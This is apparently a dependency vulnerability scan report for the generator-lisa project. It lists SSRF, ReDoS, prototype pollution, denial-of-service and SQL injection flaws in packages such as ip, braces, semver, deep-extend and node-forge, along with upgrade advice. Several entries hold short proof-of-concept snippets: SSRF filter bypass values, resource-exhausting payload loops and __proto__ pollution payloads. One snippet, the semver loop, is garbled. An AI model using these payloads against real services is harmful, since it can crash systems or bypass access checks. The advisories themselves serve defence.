Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the ip.isPublic() and ip.isPrivate() functions. An attacker can interact with internal network resources by supplying specially crafted IP address such as octal localhost format ("017700000001") that is incorrectly identified as public.
Note:
This issue exists because of an incomplete fix for CVE-2024-29415.
PoC
Test octal localhost bypass:
node -e "const ip=require('ip'); console.log('017700000001 bypass:', ip.isPublic('017700000001'));" - returns true
Remediation
There is no fixed version for ip.
References
high severity
- Vulnerable module: ip
- Introduced through: lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › bonjour@3.5.0 › multicast-dns@6.2.3 › dns-packet@1.3.4 › ip@1.1.9
Overview
ip is a Node library.
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the ip.isPublic() and ip.isPrivate() functions. An attacker can interact with internal network resources by supplying specially crafted IP address such as null route ("0") that is being incorrectly identified as public.
Note: This issue exists because of an incomplete fix for CVE-2024-29415.
Exploit is only possible if the application and operating system interpret connection attempts to 0 or 0.0.0.0 as connections to 127.0.0.1.
PoC
Test null route bypass:
node -e "const ip=require('ip'); console.log('0 bypass:', ip.isPublic('0'));" - returns true
Remediation
There is no fixed version for ip.
References
high severity
- Vulnerable module: braces
- Introduced through: lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › http-proxy-middleware@0.17.4 › micromatch@2.3.11 › braces@1.8.5Remediation: Upgrade to lisa-box@0.0.21.
Overview
braces is a Bash-like brace expansion, implemented in JavaScript.
Affected versions of this package are vulnerable to Excessive Platform Resource Consumption within a Loop due improper limitation of the number of characters it can handle, through the parse function. An attacker can cause the application to allocate excessive memory and potentially crash by sending imbalanced braces as input.
PoC
const { braces } = require('micromatch');
console.log("Executing payloads...");
const maxRepeats = 10;
for (let repeats = 1; repeats <= maxRepeats; repeats += 1) {
const payload = '{'.repeat(repeats*90000);
console.log(`Testing with ${repeats} repeats...`);
const startTime = Date.now();
braces(payload);
const endTime = Date.now();
const executionTime = endTime - startTime;
console.log(`Regex executed in ${executionTime / 1000}s.\n`);
}
Remediation
Upgrade braces to version 3.0.3 or higher.
References
high severity
- Vulnerable module: engine.io
- Introduced through: lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › trailpack-realtime@2.0.0 › engine.io@1.8.5
Overview
engine.io is a realtime engine behind Socket.IO. It provides the foundation of a bidirectional connection between client and server
Affected versions of this package are vulnerable to Denial of Service (DoS) via a POST request to the long polling transport.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade engine.io to version 3.6.0 or higher.
References
high severity
- Vulnerable module: engine.io
- Introduced through: lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › trailpack-realtime@2.0.0 › engine.io@1.8.5
Overview
engine.io is a realtime engine behind Socket.IO. It provides the foundation of a bidirectional connection between client and server
Affected versions of this package are vulnerable to Denial of Service (DoS). A malicious client could send a specially crafted HTTP request, triggering an uncaught exception and killing the Node.js process.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade engine.io to version 3.6.1, 6.2.1 or higher.
References
high severity
- Vulnerable module: i18next
- Introduced through: lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › trails@2.0.2 › i18next@3.5.2
Overview
i18next is an internationalization framework for browser or any other javascript environment (eg. node.js).
Affected versions of this package are vulnerable to Prototype Pollution via getLastOfPath() in i18next.js.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade i18next to version 19.8.5 or higher.
References
high severity
- Vulnerable module: mongodb
- Introduced through: lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › trailpack-cache@2.0.0 › cache-manager-mongodb@0.1.7 › mongodb@2.2.36Remediation: Upgrade to lisa-box@0.0.21.
Overview
mongodb is an official MongoDB driver for Node.js.
Affected versions of this package are vulnerable to Denial of Service (DoS). The package fails to properly catch an exception when a collection name is invalid and the DB does not exist, crashing the application.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade mongodb to version 3.1.13 or higher.
References
high severity
- Vulnerable module: semver
- Introduced through: lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › mdns-js@0.5.3 › semver@5.1.1
Overview
semver is a semantic version parser used by npm.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.
PoC
const semver = require('semver')
const lengths_2 = [2000, 4000, 8000, 16000, 32000, 64000, 128000]
console.log("n[+] Valid range - Test payloads")
for (let i = 0; i =1.2.3' + ' '.repeat(lengths_2[i]) + '<1.3.0';
const start = Date.now()
semver.validRange(value)
// semver.minVersion(value)
// semver.maxSatisfying(["1.2.3"], value)
// semver.minSatisfying(["1.2.3"], value)
// new semver.Range(value, {})
const end = Date.now();
console.log('length=%d, time=%d ms', value.length, end - start);
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade semver to version 5.7.2, 6.3.1, 7.5.2 or higher.
References
high severity
- Vulnerable module: sqlite3
- Introduced through: lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sqlite3@3.1.13
Overview
Affected versions of this package are vulnerable to Denial of Service (DoS) which will invoke the toString function of the passed parameter. If passed an invalid Function object it will throw and crash the V8 engine.
PoC
let sqlite3 = require('sqlite3').verbose();
let db = new sqlite3.Database(':memory:');
db.serialize(function() {
db.run("CREATE TABLE lorem (info TEXT)");
db.run("INSERT INTO lorem VALUES (?)", [{toString: 23}]);
});
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade sqlite3 to version 5.0.3 or higher.
References
high severity
- Vulnerable module: hawk
- Introduced through: lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › serialport@4.0.7 › node-pre-gyp@0.6.39 › hawk@3.1.3Remediation: Upgrade to lisa-box@0.0.19.
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sqlite3@3.1.13 › node-pre-gyp@0.6.39 › hawk@3.1.3
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › serialport@4.0.7 › node-pre-gyp@0.6.39 › request@2.81.0 › hawk@3.1.3Remediation: Upgrade to lisa-box@0.0.19.
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sqlite3@3.1.13 › node-pre-gyp@0.6.39 › request@2.81.0 › hawk@3.1.3
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sonus@0.1.9 › snowboy@1.3.1 › node-pre-gyp@0.6.39 › hawk@3.1.3
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sonus@0.1.9 › snowboy@1.3.1 › node-pre-gyp@0.6.39 › request@2.81.0 › hawk@3.1.3
Overview
hawk is a library for the HTTP Hawk Authentication Scheme.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in header parsing where each added character in the attacker's input increases the computation time exponentially.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade hawk to version 9.0.1 or higher.
References
high severity
- Vulnerable module: deep-extend
- Introduced through: yeoman-generator@1.1.1
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › yeoman-generator@1.1.1 › mem-fs-editor@3.0.2 › deep-extend@0.4.2Remediation: Upgrade to yeoman-generator@2.0.5.
Overview
deep-extend is a library for Recursive object extending.
Affected versions of this package are vulnerable to Prototype Pollution. Utilities function in all the listed modules can be tricked into modifying the prototype of "Object" when the attacker control part of the structure passed to these function. This can let an attacker add or modify existing property that will exist on all object.
PoC by HoLyVieR
var merge = require('deep-extend');
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';
var a = {};
console.log("Before : " + a.oops);
merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops);
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade deep-extend to version 0.5.1 or higher.
References
high severity
- Vulnerable module: node-forge
- Introduced through: lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sonus@0.1.9 › @google-cloud/speech@0.10.3 › google-gax@0.13.5 › google-auto-auth@0.5.4 › google-auth-library@0.10.0 › gtoken@1.2.3 › google-p12-pem@0.1.2 › node-forge@0.7.6
Overview
node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.
Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to RSA's PKCS#1 v1.5 signature verification code which does not check for tailing garbage bytes after decoding a DigestInfo ASN.1 structure. This can allow padding bytes to be removed and garbage data added to forge a signature when a low public exponent is being used.
Remediation
Upgrade node-forge to version 1.3.0 or higher.
References
high severity
- Vulnerable module: node-forge
- Introduced through: lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sonus@0.1.9 › @google-cloud/speech@0.10.3 › google-gax@0.13.5 › google-auto-auth@0.5.4 › google-auth-library@0.10.0 › gtoken@1.2.3 › google-p12-pem@0.1.2 › node-forge@0.7.6
Overview
node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.
Affected versions of this package are vulnerable to Prototype Pollution via the util.setPath function.
Note: version 0.10.0 is a breaking change removing the vulnerable functions.
POC:
const nodeforge = require('node-forge');
var obj = {};
nodeforge.util.setPath(obj, ['__proto__', 'polluted'], true);
console.log(polluted);
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade node-forge to version 0.10.0 or higher.
References
high severity
- Vulnerable module: shelljs
- Introduced through: yeoman-generator@1.1.1
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › yeoman-generator@1.1.1 › shelljs@0.7.8Remediation: Upgrade to yeoman-generator@2.0.3.
Overview
shelljs is a wrapper for the Unix shell commands for Node.js.
Affected versions of this package are vulnerable to Improper Privilege Management. When ShellJS is used to create shell scripts which may be running as root, users with low-level privileges on the system can leak sensitive information such as passwords (depending on implementation) from the standard output of the privileged process OR shutdown privileged ShellJS processes via the exec function when triggering EACCESS errors.
Note: Thi only impacts the synchronous version of shell.exec().
Remediation
Upgrade shelljs to version 0.8.5 or higher.
References
high severity
- Vulnerable module: sequelize
- Introduced through: lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › trailpack-sequelize@2.0.2 › sequelize@4.44.4
Overview
sequelize is a promise-based Node.js ORM for Postgres, MySQL, MariaDB, SQLite and Microsoft SQL Server.
Affected versions of this package are vulnerable to SQL Injection due to an improper escaping for multiple appearances of $ in a string.
Remediation
Upgrade sequelize to version 6.21.2 or higher.
References
high severity
- Module: lisa-box
- Introduced through: lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16
GPL-3.0 license
high severity
- Module: lisa-plugins-manager
- Introduced through: lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › lisa-plugins-manager@0.0.11
GPL-3.0 license
medium severity
new
